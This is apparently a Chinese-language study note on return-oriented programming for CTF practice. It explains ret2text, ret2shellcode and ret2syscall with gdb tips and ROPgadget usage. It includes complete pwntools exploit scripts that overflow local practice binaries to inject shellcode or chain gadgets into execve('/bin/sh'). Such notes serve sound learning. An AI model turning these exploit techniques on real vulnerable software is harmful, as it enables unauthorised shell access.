内容纲要

ROP

ROP(Return Oriented Programming):主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

针对wiki写的理解,可能会有错误
基础ROP

ret2text

这里栈的知识给我绕了好久

每次进入函数,首先压入的就是该函数的返回地址,然后生成栈帧,压入上个函数的基址指针(也就是上个函数的EBP的地址)
所以函数的返回地址在EBP下面,也就是EBP+4
EBP在高地址,ESP在低地址,每次入栈出栈,ESP变化

gdb下

b *0x080486AE      #是下断点
r                  #运行

解题步骤

找到/bin/sh的地址
找到call get函数下的s(通过esp地址+偏移量计算)、ebp的地址,计算偏移(返回地址在偏移基础上+4)
写payload:'A'*{s与返回地址的偏移}+{/bin/sh的地址}

解法原因

开启了栈不可执行保护

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

例子

看一下保护

image-20210406163137384

拖入ida

image-20210406163300394

image-20210406163243581

image-20210406163402245

发现bss段可执行

接下来就和ret2text差不多

image-20210406163706152

image-20210406163658219

EXP

buf_address=0x804a080
ebp_address=0xffffcf88
eax_address=0xffffcf1c
addr=0xffffcf88-0xffffcf1c+4
from pwn import *
sh = process('/home/zhoujingni/Desktop/ret2shellcode')
shellcode = asm(shellcraft.sh())
sh.sendline(shellcode.ljust(addr, 'A') + p32(buf_address))
sh.interactive()

image-20210406163953858

知识点整理

①gdb:
delete 1 #删除1号断点

②asm(shellcraft.sh()):
asm()函数接收一个字符串作为参数,得到汇编码的机器代码。 
eg:
    >>> asm('mov eax, 0')
    '\xb8\x00\x00\x00\x00'
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。
而这里的shellcraft.sh()则是执行/bin/sh的shellcode了

③shellcode.ljust(addr, 'A'):
Python ljust():返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
str.ljust(width[, fillchar])
width -- 指定字符串长度。
fillchar -- 填充字符,默认为空格。

解题步骤

发现gets函数和strncpy函数

发现buf在bss段

查看bss段权限

计算偏移写payload

解法原因

bss段可执行,没有找到/bin/sh

ret2syscall

原理

控制程序执行系统调用,获取 shell。

例子

image-20210406181802411

偏移108+4

寻找可以控制eax的gadget,可以控制其他寄存器的gadget

image-20210406173738651

image-20210406174401267

找到/bin/sh的地址

image-20210406174646115

找到int 80的地址

image-20210406174809841

EXP

from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

image-20210406175416695

知识点

①int表示中断,数字0x80是中断号。 中断将程序stream传送给正在处理该中断的人,在这种情况下,中断为0x80。 在Linux中,0x80中断处理程序是内核,用于由其他程序对内核进行系统调用。

②0xb 为 execve 对应的系统调用号。

③ropgadget

安装方法

pip install ropgadget #或者到官网下载包

ropgadget用法:

ROPgadget --binary filename --only 'xxxx'|grep 'xxxxxx'

ROPgadget --binary filename --string 'xxxxx'

使用方法

④pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]

execve("/bin/sh",NULL,NULL)

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

⑤flat()

image-20210406180614371

解题步骤

看保护机制开了哪些

找gadget

构造系统调用

计算偏移量写payload

解法原因

NX开了